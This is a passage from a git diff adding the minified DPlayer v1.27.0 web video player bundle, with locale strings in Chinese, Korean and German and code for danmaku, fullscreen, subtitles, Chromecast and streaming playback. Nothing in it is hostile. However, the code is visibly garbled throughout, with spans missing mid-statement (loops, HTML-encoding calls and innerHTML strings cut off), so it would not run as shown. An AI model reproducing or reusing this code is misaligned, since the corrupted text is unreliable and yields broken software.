秒","unlimited-danmaku":"巨量彈幕","send-danmaku":"發送彈幕",setting:"設定",fullscreen:"全螢幕","web-fullscreen":"頁面全螢幕",send:"發送",screenshot:"截圖",airplay:"無線投屏",chromecast:"ChromeCast",subtitle:"字幕",off:"關閉","show-subs":"顯示字幕","hide-subs":"隱藏字幕",volume:"音量",live:"直播","video-info":"影片統計訊息"},"ko-kr":{"danmaku-loading":"Danmaku를 불러오는 중입니다.",top:"Top",bottom:"Bottom",rolling:"Rolling","input-danmaku-enter":"Danmaku를 입력하고 Enter를 누르세요.","about-author":"만든이","dplayer-feedback":"피드백 보내기","about-dplayer":"DPlayer 정보",loop:"반복",speed:"배속","opacity-danmaku":"Danmaku 불투명도",normal:"표준","please-input-danmaku":"Danmaku를 입력하세요!","set-danmaku-color":"Danmaku 색상","set-danmaku-type":"Danmaku 설정","show-danmaku":"Danmaku 표시","video-failed":"비디오를 불러오지 못했습니다.","danmaku-failed":"Danmaku를 불러오지 못했습니다.","danmaku-send-failed":"Danmaku 전송에 실패했습니다.","Switching to":"","Switched to":"","switching-quality":"전환 %q 화질","switched-quality":"전환 됨 %q 화질",ff:"앞으로 %s 초",rew:"뒤로 %s 초","unlimited-danmaku":"끝없는 Danmaku","send-danmaku":"Danmaku 보내기",setting:"설정",fullscreen:"전체 화면","web-fullscreen":"웹 내 전체화면",send:"보내기",screenshot:"화면 캡쳐",airplay:"에어플레이",chromecast:"ChromeCast",subtitle:"부제",off:"끄다","show-subs":"자막 보이기","hide-subs":"자막 숨기기",Volume:"볼륨",live:"생방송","video-info":"비디오 정보"},de:{"danmaku-loading":"Danmaku lädt...",top:"Oben",bottom:"Unten",rolling:"Rollend","input-danmaku-enter":"Drücke Enter nach dem Einfügen vom Danmaku","about-author":"Über den Autor","dplayer-feedback":"DPlayer Feedback","about-dplayer":"Über DPlayer",loop:"Wiederholen",speed:"Geschwindigkeit","opacity-danmaku":"Transparenz für Danmaku",normal:"Normal","please-input-danmaku":"Bitte Danmaku Inhalt eingeben!","set-danmaku-color":"Danmaku Farbe festlegen","set-danmaku-type":"Danmaku Typ festlegen","show-danmaku":"Zeige Danmaku","video-failed":"Das Video konnte nicht geladen werden","danmaku-failed":"Danmaku konnte nicht geladen werden","danmaku-send-failed":"Das senden von Danmaku ist fehgeschlagen","switching-quality":"Wechsle zur %q Qualität","switched-quality":"Zur %q Qualität gewechselt",ff:"%s s Vorwärts",rew:"%s s Zurück","unlimited-danmaku":"Unlimitiertes Danmaku","send-danmaku":"Sende Danmaku",setting:"Einstellungen",fullscreen:"Vollbild","web-fullscreen":"Browser Vollbild",send:"Senden",screenshot:"Screenshot",airplay:"AirPlay","show-subs":"Zeige Untertitel",chromecast:"ChromeCast",subtitle:"Untertitel",off:"Schließung","hide-subs":"Verstecke Untertitel",volume:"Lautstärke",live:"Live","video-info":"Video Info"}},j=t(730),R=t.n(j),_=t(6074),U=t.n(_),W=t(4437),P=t.n(W),F=t(2644),Q=t.n(F),H=t(1324),K=t.n(H),Z=t(4574),X=t.n(Z),V=t(1415),J=t.n(V),G=t(5934),$=t.n(G),nn=t(1428),en=t.n(nn),tn=t(2807),an=t.n(tn),on=t(338),rn=t.n(on),ln=t(2254),sn=t.n(ln),pn=t(1965),dn=t.n(pn),An=t(8113),cn=t.n(An),un=t(6251),yn=t.n(un),hn=t(8410),mn=t.n(hn),fn=t(4182),bn=t.n(fn),gn=t(3193),vn=t.n(gn);const En={play:R(),pause:U(),volumeUp:P(),volumeDown:Q(),volumeOff:K(),full:X(),fullWeb:J(),setting:$(),right:en(),comment:an(),commentOff:rn(),send:sn(),pallette:dn(),camera:cn(),subtitle:mn(),loading:bn(),airplay:yn(),chromecast:vn()};var xn=t(1916),Cn=t.n(xn);function kn(n,e){for(var t=0;tparseFloat(e.time);)t.push(e),e=this.dan[++this.danIndex];this.draw(t)}window.requestAnimationFrame((function(){n.frame()}))}},{key:"opacity",value:function(n){if(void 0!==n){for(var e=this.container.getElementsByClassName("dplayer-danmaku-item"),t=0;t').concat(n[o].text,""):r.innerHTML=n[o].text,r.style.opacity=e._opacity,r.style.color=z.number2Color(n[o].color),r.addEventListener("animationend",(function(){e.container.removeChild(r)}));var i=e._measure(n[o].text),l=void 0;switch(n[o].type){case"right":(l=s(r,n[o].type,i))>=0&&(r.style.width=i+1+"px",r.style.top=t*l+"px",r.style.transform="translateX(-".concat(a,"px)"));break;case"top":(l=s(r,n[o].type))>=0&&(r.style.top=t*l+"px");break;case"bottom":(l=s(r,n[o].type))>=0&&(r.style.bottom=t*l+"px");break;default:console.error("Can't handled danmaku type: ".concat(n[o].type))}l>=0&&(r.classList.add("dplayer-danmaku-move"),r.style.animationDuration=e._danAnimation(n[o].type),p.appendChild(r))},A=0;A=this.options.time()){this.danIndex=n;break}this.danIndex=this.dan.length}}},{key:"clear",value:function(){this.danTunnel={right:{},top:{},bottom:{}},this.danIndex=0,this.options.container.innerHTML="",this.events&&this.events.trigger("danmaku_clear")}},{key:"htmlEncode",value:function(n){return n.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'").replace(/\//g,"/")}},{key:"resize",value:function(){for(var n=this.container.offsetWidth,e=this.container.getElementsByClassName("dplayer-danmaku-item"),t=0;t0&&void 0!==arguments[0]?arguments[0]:"browser";switch(n){case"browser":return document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;case"web":return this.player.container.classList.contains("dplayer-fulled")}}},{key:"request",value:function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"browser",e="browser"===n?"web":"browser",t=this.isFullScreen(e);switch(t||(this.lastScrollPosition=z.getScrollPosition()),n){case"browser":this.player.container.requestFullscreen?this.player.container.requestFullscreen():this.player.container.mozRequestFullScreen?this.player.container.mozRequestFullScreen():this.player.container.webkitRequestFullscreen?this.player.container.webkitRequestFullscreen():this.player.video.webkitEnterFullscreen?this.player.video.webkitEnterFullscreen():this.player.video.webkitEnterFullScreen?this.player.video.webkitEnterFullScreen():this.player.container.msRequestFullscreen&&this.player.container.msRequestFullscreen();break;case"web":this.player.container.classList.add("dplayer-fulled"),document.body.classList.add("dplayer-web-fullscreen-fix"),this.player.events.trigger("webfullscreen")}t&&this.cancel(e)}},{key:"cancel",value:function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"browser";switch(n){case"browser":document.cancelFullScreen?document.cancelFullScreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen?document.webkitCancelFullScreen():document.webkitCancelFullscreen?document.webkitCancelFullscreen():document.msCancelFullScreen?document.msCancelFullScreen():document.msExitFullscreen&&document.msExitFullscreen();break;case"web":this.player.container.classList.remove("dplayer-fulled"),document.body.classList.remove("dplayer-web-fullscreen-fix"),this.player.events.trigger("webfullscreen_cancel")}}},{key:"toggle",value:function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"browser";this.isFullScreen(n)?this.cancel(n):this.request(n)}},{key:"destroy",value:function(){/Firefox/.test(navigator.userAgent)?(document.removeEventListener("mozfullscreenchange",this.docfullscreenchange),document.removeEventListener("fullscreenchange",this.docfullscreenchange)):(this.player.container.removeEventListener("fullscreenchange",this.fullscreenchange),this.player.container.removeEventListener("webkitfullscreenchange",this.fullscreenchange),document.removeEventListener("msfullscreenchange",this.docfullscreenchange),document.removeEventListener("MSFullscreenChange",this.docfullscreenchange))}}],t&&Tn(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const Yn=On;function Nn(n,e){for(var t=0;t".concat(n,"
")})).join("");n.container.innerHTML=o}n.events.trigger("subtitle_change")}}}},{key:"show",value:function(){this.container.classList.remove("dplayer-subtitle-hide"),this.events.trigger("subtitle_show")}},{key:"hide",value:function(){this.container.classList.add("dplayer-subtitle-hide"),this.events.trigger("subtitle_hide")}},{key:"toggle",value:function(){this.container.classList.contains("dplayer-subtitle-hide")?this.show():this.hide()}}],t&&Rn(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const Un=_n;function Wn(n,e){for(var t=0;t",t.player.template.subtrack.src=t.player.template.subtitlesItem[n].dataset.subtitle,t.player.options.subtitle.index=n,t.player.template.subtitle.classList.contains("dplayer-subtitle-hide")&&t.subContainerShow())}))},r=0;r",t.player.template.subtrack.src="",t.player.options.subtitle.index=a,t.subContainerHide())}))}var e,t;return e=n,(t=[{key:"subContainerShow",value:function(){this.player.template.subtitle.classList.remove("dplayer-subtitle-hide"),this.player.events.trigger("subtitle_show")}},{key:"subContainerHide",value:function(){this.player.template.subtitle.classList.add("dplayer-subtitle-hide"),this.player.events.trigger("subtitle_hide")}},{key:"hide",value:function(){this.player.template.subtitlesBox.classList.remove("dplayer-subtitles-box-open"),this.player.template.mask.classList.remove("dplayer-mask-show"),this.player.controller.disableAutoHide=!1}},{key:"show",value:function(){this.player.template.subtitlesBox.classList.add("dplayer-subtitles-box-open"),this.player.template.mask.classList.add("dplayer-mask-show"),this.player.controller.disableAutoHide=!0}},{key:"adaptiveHeight",value:function(){var n=30*this.player.template.subtitlesItem.length+14,e=.8*this.player.template.videoWrap.offsetHeight;n>=e-50?(this.player.template.subtitlesBox.style.bottom="8px",this.player.template.subtitlesBox.style["max-height"]=e-8+"px"):(this.player.template.subtitlesBox.style.bottom="50px",this.player.template.subtitlesBox.style["max-height"]=e-50+"px")}}])&&Wn(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const Fn=Pn;function Qn(n,e){for(var t=0;te&&!n.player.video.paused&&(n.player.container.classList.remove("dplayer-loading"),a=!1),e=t)}),100)}},{key:"initfpsChecker",value:function(){var n=this;window.requestAnimationFrame((function(){if(n.enablefpsChecker)if(n.initfpsChecker(),n.fpsStart){n.fpsIndex++;var e=new Date;e-n.fpsStart>1e3&&(n.player.infoPanel.fps(n.fpsIndex/(e-n.fpsStart)*1e3),n.fpsStart=new Date,n.fpsIndex=0)}else n.fpsStart=new Date,n.fpsIndex=0;else n.fpsStart=0,n.fpsIndex=0}))}},{key:"initinfoChecker",value:function(){var n=this;this.infoChecker=setInterval((function(){n.enableinfoChecker&&n.player.infoPanel.update()}),1e3)}},{key:"enable",value:function(n){this["enable".concat(n,"Checker")]=!0,"fps"===n&&this.initfpsChecker()}},{key:"disable",value:function(n){this["enable".concat(n,"Checker")]=!1}},{key:"destroy",value:function(){var n=this;this.types.map((function(e){return n["enable".concat(e,"Checker")]=!1,n["".concat(e,"Checker")]&&clearInterval(n["".concat(e,"Checker")]),e}))}}])&&Zn(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const Vn=Xn;function Jn(n,e){for(var t=0;t=n.length&&(n=void 0),{value:n&&n[a++],done:!n}}};throw new TypeError(e?"Object is not iterable.":"Symbol.iterator is not defined.")}function re(n,e){var t="function"==typeof Symbol&&n[Symbol.iterator];if(!t)return n;var a,o,r=t.call(n),i=[];try{for(;(void 0===e||e-- >0)&&!(a=r.next()).done;)i.push(a.value)}catch(n){o={error:n}}finally{try{a&&!a.done&&(t=r.return)&&t.call(r)}finally{if(o)throw o.error}}return i}function ie(n,e,t){if(t||2===arguments.length)for(var a,o=0,r=e.length;o0},enumerable:!1,configurable:!0}),e.prototype._trySubscribe=function(e){return this._throwIfClosed(),n.prototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(n){return this._throwIfClosed(),this._checkFinalizedStatuses(n),this._innerSubscribe(n)},e.prototype._innerSubscribe=function(n){var e=this,t=this,a=t.hasError,o=t.isStopped,r=t.observers;return a||o?ce:(this.currentObservers=null,r.push(n),new Ae((function(){e.currentObservers=null,de(r,n)})))},e.prototype._checkFinalizedStatuses=function(n){var e=this,t=e.hasError,a=e.thrownError,o=e.isStopped;t?n.error(a):o&&n.complete()},e.prototype.asObservable=function(){var n=new Me;return n.source=this,n},e.create=function(n,e){return new We(n,e)},e}(Me),We=function(n){function e(e,t){var a=n.call(this)||this;return a.destination=e,a.source=t,a}return ae(e,n),e.prototype.next=function(n){var e,t;null===(t=null===(e=this.destination)||void 0===e?void 0:e.next)||void 0===t||t.call(e,n)},e.prototype.error=function(n){var e,t;null===(t=null===(e=this.destination)||void 0===e?void 0:e.error)||void 0===t||t.call(e,n)},e.prototype.complete=function(){var n,e;null===(e=null===(n=this.destination)||void 0===n?void 0:n.complete)||void 0===e||e.call(n)},e.prototype._subscribe=function(n){var e,t;return null!==(t=null===(e=this.source)||void 0===e?void 0:e.subscribe(n))&&void 0!==t?t:ce},e}(Ue);function Pe(n,e){for(var t=0;t'+n.player.options.highlight[t].text+"",n.player.template.playedBarWrap.insertBefore(a,n.player.template.playedBarTime)}}}))}},{key:"initThumbnails",value:function(){var n=this;this.player.options.video.thumbnails&&(this.thumbnails=new ee({container:this.player.template.barPreview,barWidth:this.player.template.barWrap.offsetWidth,url:this.player.options.video.thumbnails,events:this.player.events}),this.player.on("loadedmetadata",(function(){n.thumbnails.resize(160,n.player.video.videoHeight/n.player.video.videoWidth*160,n.player.template.barWrap.offsetWidth)})))}},{key:"initPlayedBar",value:function(){var n=this,e=function(e){var t=((e.clientX||e.changedTouches[0].clientX)-z.getBoundingClientRectViewLeft(n.player.template.playedBarWrap))/n.player.template.playedBarWrap.clientWidth;t=Math.max(t,0),t=Math.min(t,1),n.player.bar.set("played",t,"width"),n.player.template.ptime.innerHTML=z.secondToTime(t*n.player.video.duration)},t=function t(a){document.removeEventListener(z.nameMap.dragEnd,t),document.removeEventListener(z.nameMap.dragMove,e);var o=((a.clientX||a.changedTouches[0].clientX)-z.getBoundingClientRectViewLeft(n.player.template.playedBarWrap))/n.player.template.playedBarWrap.clientWidth;o=Math.max(o,0),o=Math.min(o,1),n.player.bar.set("played",o,"width"),n.player.seek(n.player.bar.get("played")*n.player.video.duration),n.player.timer.enable("progress")};this.player.template.playedBarWrap.addEventListener(z.nameMap.dragStart,(function(){n.player.timer.disable("progress"),document.addEventListener(z.nameMap.dragMove,e),document.addEventListener(z.nameMap.dragEnd,t)})),this.player.template.playedBarWrap.addEventListener(z.nameMap.dragMove,(function(e){if(n.player.video.duration){var t=n.player.template.playedBarWrap.getBoundingClientRect().left,a=(e.clientX||e.changedTouches[0].clientX)-t;if(a<0||a>n.player.template.playedBarWrap.offsetWidth)return;var o=n.player.video.duration*(a/n.player.template.playedBarWrap.offsetWidth);z.isMobile&&n.thumbnails&&n.thumbnails.show(),n.thumbnails&&n.thumbnails.move(a),n.player.template.playedBarTime.style.left="".concat(a-(o>=3600?25:20),"px"),n.player.template.playedBarTime.innerText=z.secondToTime(o),n.player.template.playedBarTime.classList.remove("hidden")}})),this.player.template.playedBarWrap.addEventListener(z.nameMap.dragEnd,(function(){z.isMobile&&n.thumbnails&&n.thumbnails.hide()})),z.isMobile||(this.player.template.playedBarWrap.addEventListener("mouseenter",(function(){n.player.video.duration&&(n.thumbnails&&n.thumbnails.show(),n.player.template.playedBarTime.classList.remove("hidden"))})),this.player.template.playedBarWrap.addEventListener("mouseleave",(function(){n.player.video.duration&&(n.thumbnails&&n.thumbnails.hide(),n.player.template.playedBarTime.classList.add("hidden"))})))}},{key:"initFullButton",value:function(){var n=this;this.player.template.browserFullButton.addEventListener("click",(function(){n.player.fullScreen.toggle("browser")})),this.player.template.webFullButton.addEventListener("click",(function(){n.player.fullScreen.toggle("web")}))}},{key:"initVolumeButton",value:function(){var n=this,e=function(e){var t=e||window.event,a=((t.clientX||t.changedTouches[0].clientX)-z.getBoundingClientRectViewLeft(n.player.template.volumeBarWrap)-5.5)/35;n.player.volume(a)},t=function t(){document.removeEventListener(z.nameMap.dragEnd,t),document.removeEventListener(z.nameMap.dragMove,e),n.player.template.volumeButton.classList.remove("dplayer-volume-active")};this.player.template.volumeBarWrapWrap.addEventListener("click",(function(e){var t=e||window.event,a=((t.clientX||t.changedTouches[0].clientX)-z.getBoundingClientRectViewLeft(n.player.template.volumeBarWrap)-5.5)/35;n.player.volume(a)})),this.player.template.volumeBarWrapWrap.addEventListener(z.nameMap.dragStart,(function(){document.addEventListener(z.nameMap.dragMove,e),document.addEventListener(z.nameMap.dragEnd,t),n.player.template.volumeButton.classList.add("dplayer-volume-active")})),this.player.template.volumeButtonIcon.addEventListener("click",(function(){n.player.video.muted?(n.player.video.muted=!1,n.player.switchVolumeIcon(),n.player.bar.set("volume",n.player.volume(),"width")):(n.player.video.muted=!0,n.player.template.volumeIcon.innerHTML=En.volumeOff,n.player.bar.set("volume",0,"width"))}))}},{key:"initQualityButton",value:function(){var n=this;this.player.options.video.quality&&this.player.template.qualityList.addEventListener("click",(function(e){e.target.classList.contains("dplayer-quality-item")&&n.player.switchQuality(e.target.dataset.index)}))}},{key:"initScreenshotButton",value:function(){var n=this;this.player.options.screenshot&&this.player.template.camareButton.addEventListener("click",(function(){var e,t=document.createElement("canvas");t.width=n.player.video.videoWidth,t.height=n.player.video.videoHeight,t.getContext("2d").drawImage(n.player.video,0,0,t.width,t.height),t.toBlob((function(t){e=URL.createObjectURL(t);var a=document.createElement("a");a.href=e,a.download="DPlayer.png",a.style.display="none",document.body.appendChild(a),a.click(),document.body.removeChild(a),URL.revokeObjectURL(e),n.player.events.trigger("screenshot",e)}))}))}},{key:"initAirplayButton",value:function(){this.player.options.airplay&&(window.WebKitPlaybackTargetAvailabilityEvent?this.player.video.addEventListener("webkitplaybacktargetavailabilitychanged",function(n){"available"===n.availability?this.template.airplayButton.disable=!1:this.template.airplayButton.disable=!0,this.template.airplayButton.addEventListener("click",function(){this.video.webkitShowPlaybackTargetPicker()}.bind(this))}.bind(this.player)):this.player.template.airplayButton.style.display="none")}},{key:"initChromecast",value:function(){var n=window.document.createElement("script");n.setAttribute("type","text/javascript"),n.setAttribute("src","https://www.gstatic.com/cv/js/sender/v1/cast_sender.js?loadCastFramework=1"),window.document.body.appendChild(n),window.__onGCastApiAvailable=function(n){if(n){var e=new(Re=window.chrome.cast).SessionRequest(Re.media.DEFAULT_MEDIA_RECEIVER_APP_ID),t=new Re.ApiConfig(e,(function(){}),(function(n){n===Re.ReceiverAvailability.AVAILABLE&&console.log("chromecast: ",n)}));Re.initialize(t,(function(){}))}}}},{key:"initChromecastButton",value:function(){var n=this;if(this.player.options.chromecast){Fe&&(Fe=!1,this.initChromecast());var e=function(e,t){n.currentMedia=t},t=function(n){console.error("Error launching media",n)};this.player.template.chromecastButton.addEventListener("click",(function(){var a;Qe?(Qe=!1,n.currentMedia.stop(),n.session.stop(),n.initChromecast()):(Qe=!0,a=new Ue,Re.requestSession((function(o){var r,i,l;n.session=o,a.next("CONNECTED"),r=n.player.options.video.url,i=new Re.media.MediaInfo(r),l=new Re.media.LoadRequest(i),n.session?n.session.loadMedia(l,e.bind(n,"loadMedia"),t).play():window.open(r)}),(function(e){"cancel"===e.code?(n.session=void 0,a.next("CANCEL")):console.error("Error selecting a cast device",e)})))}))}}},{key:"initSubtitleButton",value:function(){var n=this;this.player.events.on("subtitle_show",(function(){n.player.template.subtitleButton.dataset.balloon=n.player.tran("hide-subs"),n.player.template.subtitleButtonInner.style.opacity="",n.player.user.set("subtitle",1)})),this.player.events.on("subtitle_hide",(function(){n.player.template.subtitleButton.dataset.balloon=n.player.tran("show-subs"),n.player.template.subtitleButtonInner.style.opacity="0.4",n.player.user.set("subtitle",0)})),this.player.template.subtitleButton.addEventListener("click",(function(){n.player.subtitle.toggle()}))}},{key:"setAutoHide",value:function(){var n=this;this.show(),clearTimeout(this.autoHideTimer),this.autoHideTimer=setTimeout((function(){!n.player.video.played.length||n.player.paused||n.disableAutoHide||n.hide()}),3e3)}},{key:"show",value:function(){this.player.container.classList.remove("dplayer-hide-controller")}},{key:"hide",value:function(){this.player.container.classList.add("dplayer-hide-controller"),this.player.setting.hide(),this.player.comment&&this.player.comment.hide()}},{key:"isShow",value:function(){return!this.player.container.classList.contains("dplayer-hide-controller")}},{key:"toggle",value:function(){this.isShow()?this.hide():this.show()}},{key:"destroy",value:function(){z.isMobile||(this.player.container.removeEventListener("mousemove",this.setAutoHideHandler),this.player.container.removeEventListener("click",this.setAutoHideHandler)),clearTimeout(this.autoHideTimer)}}])&&Pe(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const Ke=He;function Ze(n,e){for(var t=0;t=t.width?(this.player.template.menu.style.right=t.width-n+"px",this.player.template.menu.style.left="initial"):(this.player.template.menu.style.left=n+"px",this.player.template.menu.style.right="initial"),e+this.player.template.menu.offsetHeight>=t.height?(this.player.template.menu.style.bottom=t.height-e+"px",this.player.template.menu.style.top="initial"):(this.player.template.menu.style.top=e+"px",this.player.template.menu.style.bottom="initial"),this.player.template.mask.classList.add("dplayer-mask-show"),this.shown=!0,this.player.events.trigger("contextmenu_show")}},{key:"hide",value:function(){this.player.template.mask.classList.remove("dplayer-mask-show"),this.player.template.menu.classList.remove("dplayer-menu-show"),this.shown=!1,this.player.events.trigger("contextmenu_hide")}},{key:"destroy",value:function(){this.player.container.removeEventListener("contextmenu",this.contextmenuHandler)}}])&&at(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),n}();const rt=ot;function it(n,e){for(var t=0;tthis.options.subtitle.url.length-1)&&(this.options.subtitle.index=this.options.subtitle.url.findIndex((function(n){return n.lang===t.options.lang}))),-1===this.options.subtitle.index&&(this.options.subtitle.index=this.options.subtitle.url.length-1)),this.template=new Bn({container:this.container,options:this.options,index:yt,tran:this.tran}),this.video=this.template.video,this.bar=new Kn(this.template),this.bezel=new Gn(this.template.bezel),this.fullScreen=new Yn(this),this.controller=new Ke(this),this.options.danmaku&&(this.danmaku=new zn({player:this,container:this.template.danmaku,opacity:this.user.get("opacity"),callback:function(){setTimeout((function(){t.template.danmakuLoading.style.display="none",t.options.autoplay&&t.play()}),0)},error:function(n){t.notice(n)},apiBackend:this.options.apiBackend,borderColor:this.options.theme,height:this.arrow?24:30,time:function(){return t.video.currentTime},unlimited:this.user.get("unlimited"),api:{id:this.options.danmaku.id,address:this.options.danmaku.api,token:this.options.danmaku.token,maximum:this.options.danmaku.maximum,addition:this.options.danmaku.addition,user:this.options.danmaku.user,speedRate:this.options.danmaku.speedRate},events:this.events,tran:function(n){return t.tran(n)}}),this.comment=new $e(this)),this.setting=new Ve(this),this.plugins={},this.docClickFun=function(){t.focus=!1},this.containerClickFun=function(){t.focus=!0},document.addEventListener("click",this.docClickFun,!0),this.container.addEventListener("click",this.containerClickFun,!0),this.paused=!0,this.timer=new Vn(this),this.hotkey=new tt(this),this.contextmenu=new rt(this),this.initVideo(this.video,this.quality&&this.quality.type||this.options.video.type),this.infoPanel=new st(this),!this.danmaku&&this.options.autoplay&&this.play(),yt++,ht.push(this)}var e,t,a;return e=n,t=[{key:"seek",value:function(n){n=Math.max(n,0),this.video.duration&&(n=Math.min(n,this.video.duration)),this.video.currentTimen&&this.notice("".concat(this.tran("rew").replace("%s",(this.video.currentTime-n).toFixed(0)))),this.video.currentTime=n,this.danmaku&&this.danmaku.seek(),this.bar.set("played",n/this.video.duration,"width"),this.template.ptime.innerHTML=z.secondToTime(n)}},{key:"play",value:function(n){var e=this;if(this.paused=!1,this.video.paused&&!z.isMobile&&this.bezel.switch(En.play),this.template.playButton.innerHTML=En.pause,this.template.mobilePlayButton.innerHTML=En.pause,n||S.resolve(this.video.play()).catch((function(){e.pause()})).then((function(){})),this.timer.enable("loading"),this.container.classList.remove("dplayer-paused"),this.container.classList.add("dplayer-playing"),this.danmaku&&this.danmaku.play(),this.options.mutex)for(var t=0;t=.95?this.template.volumeIcon.innerHTML=En.volumeUp:this.volume()>0?this.template.volumeIcon.innerHTML=En.volumeDown:this.template.volumeIcon.innerHTML=En.volumeOff}},{key:"volume",value:function(n,e,t){if(n=parseFloat(n),!isNaN(n)){n=Math.max(n,0),n=Math.min(n,1),this.bar.set("volume",n,"width");var a="".concat((100*n).toFixed(0),"%");this.template.volumeBarWrapWrap.dataset.balloon=a,e||this.user.set("volume",n),t||this.notice("".concat(this.tran("volume")," ").concat((100*n).toFixed(0),"%")),this.video.volume=n,this.video.muted&&(this.video.muted=!1),this.switchVolumeIcon()}return this.video.volume}},{key:"toggle",value:function(){this.video.paused?this.play():this.pause()}},{key:"on",value:function(n,e){this.events.on(n,e)}},{key:"switchVideo",value:function(n,e){this.pause(),this.video.poster=n.pic?n.pic:"",this.video.src=n.url,this.initMSE(this.video,n.type||"auto"),e&&(this.template.danmakuLoading.style.display="block",this.bar.set("played",0,"width"),this.bar.set("loaded",0,"width"),this.template.ptime.innerHTML="00:00",this.template.danmaku.innerHTML="",this.danmaku&&this.danmaku.reload({id:e.id,address:e.api,token:e.token,maximum:e.maximum,addition:e.addition,user:e.user}))}},{key:"initMSE",value:function(n,e){var t=this;if(this.type=e,this.options.video.customType&&this.options.video.customType[e])"[object Function]"===Object.prototype.toString.call(this.options.video.customType[e])?this.options.video.customType[e](this.video,this):console.error("Illegal customType: ".concat(e));else switch("auto"===this.type&&(/m3u8(#|\?|$)/i.exec(n.src)?this.type="hls":/.flv(#|\?|$)/i.exec(n.src)?this.type="flv":/.mpd(#|\?|$)/i.exec(n.src)?this.type="dash":this.type="normal"),"hls"===this.type&&(n.canPlayType("application/x-mpegURL")||n.canPlayType("application/vnd.apple.mpegURL"))&&(this.type="normal"),this.type){case"hls":if(window.Hls)if(window.Hls.isSupported()){var a=this.options.pluginOptions.hls,o=new window.Hls(a);this.plugins.hls=o,o.loadSource(n.src),o.attachMedia(n),this.events.on("destroy",(function(){o.destroy(),delete t.plugins.hls}))}else this.notice("Error: Hls is not supported.");else this.notice("Error: Can't find Hls.");break;case"flv":if(window.flvjs)if(window.flvjs.isSupported()){var r=window.flvjs.createPlayer(Object.assign(this.options.pluginOptions.flv.mediaDataSource||{},{type:"flv",url:n.src}),this.options.pluginOptions.flv.config);this.plugins.flvjs=r,r.attachMediaElement(n),r.load(),this.events.on("destroy",(function(){r.unload(),r.detachMediaElement(),r.destroy(),delete t.plugins.flvjs}))}else this.notice("Error: flvjs is not supported.");else this.notice("Error: Can't find flvjs.");break;case"dash":if(window.dashjs){var i=window.dashjs.MediaPlayer().create().initialize(n,n.src,!1),l=this.options.pluginOptions.dash;i.updateSettings(l),this.plugins.dash=i,this.events.on("destroy",(function(){window.dashjs.MediaPlayer().reset(),delete t.plugins.dash}))}else this.notice("Error: Can't find dashjs.");break;case"webtorrent":if(window.WebTorrent)if(window.WebTorrent.WEBRTC_SUPPORT){this.container.classList.add("dplayer-loading");var s=this.options.pluginOptions.webtorrent,p=new window.WebTorrent(s);this.plugins.webtorrent=p;var d=n.src;n.src="",n.preload="metadata",n.addEventListener("durationchange",(function(){return t.container.classList.remove("dplayer-loading")}),{once:!0}),p.add(d,(function(n){n.files.find((function(n){return n.name.endsWith(".mp4")})).renderTo(t.video,{autoplay:t.options.autoplay,controls:!1})})),this.events.on("destroy",(function(){p.remove(d),p.destroy(),delete t.plugins.webtorrent}))}else this.notice("Error: Webtorrent is not supported.");else this.notice("Error: Can't find Webtorrent.")}}},{key:"initVideo",value:function(n,e){var t=this;this.initMSE(n,e),this.on("durationchange",(function(){1!==n.duration&&n.duration!==1/0&&(t.template.dtime.innerHTML=z.secondToTime(n.duration))})),this.on("progress",(function(){var e=n.buffered.length?n.buffered.end(n.buffered.length-1)/n.duration:0;t.bar.set("loaded",e,"width")})),this.on("error",(function(){t.video.error&&t.tran&&t.notice&&"webtorrent"!==t.type&&t.notice(t.tran("video-failed"),-1)})),this.on("ended",(function(){t.bar.set("played",1,"width"),t.setting.loop?(t.seek(0),t.play()):t.pause(),t.danmaku&&(t.danmaku.danIndex=0)})),this.on("play",(function(){t.paused&&t.play(!0)})),this.on("pause",(function(){t.paused||t.pause(!0)})),this.on("timeupdate",(function(){t.bar.set("played",t.video.currentTime/t.video.duration,"width");var n=z.secondToTime(t.video.currentTime);t.template.ptime.innerHTML!==n&&(t.template.ptime.innerHTML=n)}));for(var a=function(e){n.addEventListener(t.events.videoEvents[e],(function(){t.events.trigger(t.events.videoEvents[e])}))},o=0;o1&&void 0!==arguments[1]?arguments[1]:2e3,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:.8,r=Bn.NewNotice(n,o);this.template.noticeList.appendChild(r),this.events.trigger("notice_show",r),a>0&&setTimeout((e=r,t=this,function(){e.addEventListener("animationend",(function(){t.template.noticeList.removeChild(e)})),e.classList.add("remove-notice"),t.events.trigger("notice_hide")}),a)}},{key:"resize",value:function(){this.danmaku&&this.danmaku.resize(),this.controller.thumbnails&&this.controller.thumbnails.resize(160,this.video.videoHeight/this.video.videoWidth*160,this.template.barWrap.offsetWidth),this.events.trigger("resize")}},{key:"speed",value:function(n){this.video.playbackRate=n}},{key:"destroy",value:function(){ht.splice(ht.indexOf(this),1),this.pause(),document.removeEventListener("click",this.docClickFun,!0),this.container.removeEventListener("click",this.containerClickFun,!0),this.fullScreen.destroy(),this.hotkey.destroy(),this.contextmenu.destroy(),this.controller.destroy(),this.timer.destroy(),this.video.src="",this.container.innerHTML="",this.events.trigger("destroy")}}],a=[{key:"version",get:function(){return"1.27.0"}}],t&&ut(e.prototype,t),a&&ut(e,a),Object.defineProperty(e,"prototype",{writable:!1}),n}();const ft=mt;console.log("\n".concat(" %c DPlayer v","1.27.0"," ").concat("a0424ca"," %c https://dplayer.diygod.dev ","\n","\n"),"color: #fadfa3; background: #030307; padding:5px 0;","background: #fadfa3; padding:5px 0;");const bt=ft})(),a.default})()));
+//# sourceMappingURL=DPlayer.min.js.map
\ No newline at end of file
diff --git a/js/Meting.min.js b/js/Meting.min.js
new file mode 100644
index 00000000..1ec934ca
--- /dev/null
+++ b/js/Meting.min.js
@@ -0,0 +1 @@
